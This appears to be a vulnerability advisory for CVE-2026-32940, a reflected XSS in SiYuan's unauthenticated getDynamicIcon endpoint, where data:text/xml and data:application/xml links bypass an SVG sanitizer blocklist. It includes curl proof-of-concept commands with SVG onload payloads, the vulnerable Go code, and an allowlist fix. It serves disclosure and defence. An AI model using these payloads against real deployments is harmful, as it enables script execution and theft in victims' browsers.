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CVE-2026-32940 — Vulnerability in github.com/siyuan-note/siyuan —...

CRITICAL

SiYuan has a SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)

Published March 17, 2026Updated April 2, 2026Source: osv

Summary

# SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183) `SanitizeSVG` blocks `data:text/html` and `data:image/svg+xml` in href attributes but misses `data:text/xml` and `data:application/xml`. Both render SVG with `onload` JavaScript execution (confirmed in Chromium 136, other browsers untested). `/api/icon/getDynamicIcon` is unauthenticated and serves SVG as `Content-Type: image/svg+xml`. The `content` parameter (type=8) gets embedded into the SVG via `fmt.Sprintf` with no escaping. The sanitizer catches `data:text/html` but `data:text/xml` passes the blocklist -- only three MIME types are checked. This is a click-through XSS: victim visits the crafted URL, sees an SVG with an injected link, clicks it. If SiYuan renders these icons via `<img>` tags in the frontend, links aren't interactive there -- the attack needs direct navigation to the endpoint URL or `<object>`/`<embed>` embedding. ## Steps to reproduce Against SiYuan v3.6.0 (Docker): ```sh # 1. data:text/xml bypass -- <a> element preserved with href intact curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \ --data-urlencode 'type=8' \ --data-urlencode 'content=</text><a href="data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E">click</a><text>' \ | grep -o '<a [^>]*>' # Output: <a href="data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E"> # 2. data:text/html is correctly blocked -- href stripped curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \ --data-urlencode 'type=8' \ --data-urlencode 'content=</text><a href="data:text/html,<script>alert(1)</script>">click</a><text>' \ | grep -o '<a [^>]*>' # Output: <a> (href removed) # 3. data:application/xml also bypasses curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \ --data-urlencode 'type=8' \ --data-urlencode 'content=</text><a href="data:application/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(1)%27/%3E">click</a><text>' \ | grep -o '<a [^>]*>' # Output: <a href="data:application/xml,..."> (href preserved) ``` JS execution confirmed in Chromium 136 -- `data:text/xml` SVG `onload` fires and posts a message to the parent window via iframe test. ## Vulnerable code `kernel/util/misc.go` lines 289-293: ```go if strings.HasPrefix(val, "data:") { if strings.Contains(val, "text/html") || strings.Contains(val, "image/svg+xml") || strings.Contains(val, "application/xhtml+xml") { continue } } ``` `text/xml` and `application/xml` aren't in the list. Both serve SVG with JS execution. ## Impact Reflected XSS on an unauthenticated endpoint. Victim visits the crafted URL, then clicks the injected link in the SVG. No auth needed to craft the URL. Docker deployments where SiYuan is network-accessible are the clearest target -- the endpoint is reachable directly. In the Electron desktop app, impact depends on `nodeIntegration`/`contextIsolation` settings. Issue #15970 ("XSS to RCE") explored that path. The deeper issue: the blocklist approach for data: URIs is fragile. `text/xml` and `application/xml` are the gap today, but other MIME types that render active content could surface. An allowlist of safe image types covers the known vectors and future MIME type additions. ## Affected versions v3.6.0 (latest, confirmed). All versions since `SanitizeSVG` was added to fix CVE-2026-29183. ## Suggested fix Flip the data: URI check to an allowlist -- only permit safe image types in href: ```go if strings.HasPrefix(val, "data:") { safe := strings.HasPrefix(val, "data:image/png") || strings.HasPrefix(val, "data:image/jpeg") || strings.HasPrefix(val, "data:image/gif") || strings.HasPrefix(val, "data:image/webp") if !safe { continue } } ``` If you prefer extending the blocklist, add at minimum: `text/xml`, `application/xml`, `text/xsl`, and `multipart/` types.

Advisory Timeline

  • First published March 17, 2026 (209 days ago).
  • Last revised April 2, 2026 — 16 days after initial publication.

Affected Packages (1)

Affects 1 ecosystem: go (1).

PackageEcosystemAffectedFixed In
github.com/siyuan-note/siyuan
go
All versionsRange-based data available

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.3 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Frequently Asked Questions

What is CVE-2026-32940?
SiYuan has a SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183) This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.3/10).
How do I check if my project is affected by CVE-2026-32940?
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Severity & Exploitability

CVSS Score
9.3

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-4mx9-3c2h-hwhg
GO-2026-4721

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